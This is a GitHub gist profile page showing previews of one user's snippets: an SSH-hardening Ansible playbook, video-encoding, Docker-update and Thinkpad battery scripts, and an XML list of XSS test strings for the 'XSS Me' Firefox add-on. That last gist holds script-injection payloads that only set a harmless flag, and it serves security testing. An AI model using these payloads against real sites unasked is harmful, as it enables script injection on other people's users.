Skip to content

Instantly share code, notes, and snippets.

Avatar

Chris Mavrakis cmavr8

View GitHub Profile
@cmavr8
cmavr8 / mac-brew-apps
Last active Mar 30, 2021
List of apps installed on Mac OSX using brew. See this article for background: https://diyistheway.blogspot.com/2019/04/notes-on-setting-up-new-mac.html
View mac-brew-apps
ansible
aom
assimp
bat
bdw-gc
berkeley-db
c-ares
cairo
composer
dav1d
@cmavr8
cmavr8 / secure-ssh.yml
Last active Oct 14, 2021
Secure SSH configuration ansible playbook. Last updated years ago, NOT recommended for use. There are better ways to do this today.
View secure-ssh.yml
---
# SSH server settings, in line with https://stribika.github.io/2015/01/04/secure-secure-shell.html
# Before using, change myhosts to your hosts' nickname and myuser to your username (two instances! make sure you replace both or you'll be locked out of ssh!)
- hosts: myhosts
become: true
remote_user: myuser
tasks:
# Key exchange, ciphers and MACs
- lineinfile: dest=/etc/ssh/sshd_config regexp='^KexAlgorithms' line='KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256'
@cmavr8
cmavr8 / encoder-x265
Created Dec 8, 2016
Super quick & dirty script to convert all video files of specific extension into x265 mp4s. Sure, it can be made fancy, but there's not enough motivation for it.
View encoder-x265
#!/bin/bash
# Super quick & dirty script to convert all video files of specific extension into x265 mp4s. Sure, it can be made fancy, but there's not enough motivation for it.
# v1 - 8-Dec-2016 by Chris Mavrakis
# How to use:
# Cd into the dir of your source video files.
# Change the .avi extension and target file dir in the script.
# Run the script.
@cmavr8
cmavr8 / update_docker
Last active May 29, 2020
Pulls a Docker image and compares it to running ones. Stops/removes/restarts the ones that are outdated. Warning: This is obviously a few years old and has not been updated. Do not use unless you review and ensure it's still OK. BTW, there are better ways to do this today.
View update_docker
#!/usr/bin/env bash
# Pulls a Docker image and compares it to running ones. Stops/removes/restarts the ones that are outdated.
# Put in /etc/cron.daily and make executable. One per image.
# From: http://stackoverflow.com/questions/26423515/how-to-automatically-update-your-docker-containers-if-base-images-are-updated/26548914
set -e
IMAGE="<DEVELOPER>/<DOCKERIMAGE>:latest"
CID=$(docker ps | grep $IMAGE | awk '{print $1}')
docker pull $IMAGE
@cmavr8
cmavr8 / bathealth
Last active Aug 29, 2015
Bathealth - Shows live info and statistics about a Lenovo Thinkpad battery
View bathealth
#!/bin/bash
# Bathealth - Shows live info and statistics about a Lenovo Thinkpad battery
# By Chris Mavrakis - cmavrakis.com
# v0.3 - 6-May-15
# Usage:
# - Install in /usr/bin or ~/bin, or not...
# - Run as a normal user: bathealth or ./bathealth
@cmavr8
cmavr8 / batsaver
Last active Aug 29, 2015
Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack
View batsaver
#!/bin/bash
# Thinkpad battery saver - Helps you prolong the service life of your Lenovo Thinkpad battery pack
# By Chris Mavrakis - cmavrakis.com
# v0.2 - 6-May-15
# Intro:
# Based on this: http://www.batteryuniversity.com/learn/article/how_to_prolong_lithium_based_batteries and motivated by this: https://news.ycombinator.com/item?id=9487903
# One can do a few things to prolong battery life. Two of them are:
# 1. Reduce full charge Voltage to 4.00V/cell. This will give shorter run times, but battery should last double the time before needing replacement (measured in years of use).
@cmavr8
cmavr8 / gist:6c07cea4593ae037c97b
Last active Aug 29, 2015
Small OpenLRS Receivers
View gist:6c07cea4593ae037c97b

Open source hardware

Hardware for which the source is not available yet

@cmavr8
cmavr8 / gist:62c744b7651d4e6b0abe
Created Mar 3, 2015
Automatic starting and stopping of VMWare Workstation services, to avoid running them all the time and save battery on a laptop.
View gist:62c744b7651d4e6b0abe
#!/bin/bash
#
#
# _ __ ___ _ _ __ __ _ __ ___
# | '_ ` _ \ | | | | \ \ / / | '_ ` _ \
# | | | | | | | |_| | \ V / | | | | | |
# |_| |_| |_| \__, | \_/ |_| |_| |_|
# __/ |
# |___/
#
View gist:2173310d97c945551a5d
### Keybase proof
I hereby claim:
* I am cmavr8 on github.
* I am chrism (https://keybase.io/chrism) on keybase.
* I have a public key whose fingerprint is 221C 85EC D3BF 93F0 9B56 1188 4139 3627 5F29 D786
To claim this, I am signing this object:
@cmavr8
cmavr8 / import_me_into_XSSMe.xml
Last active Aug 29, 2015
XSS Me strings: Default plus the ones in OWASP's XSS Filter Evasion Cheat Sheet. To be used with Firefox add-on "XSS Me": https://addons.mozilla.org/en-US/firefox/addon/xss-me/
View import_me_into_XSSMe.xml
<exportedattacks><attacks><attack><attackString><![CDATA[
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<SCRIPT>document.vulnerable=true;</SCRIPT>
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<IMG SRC="jav ascript:document.vulnerable=true;">
]]></attackString><signature>Script</signature></attack><attack><attackString><![CDATA[
<IMG SRC="javascript:document.vulnerable=true;">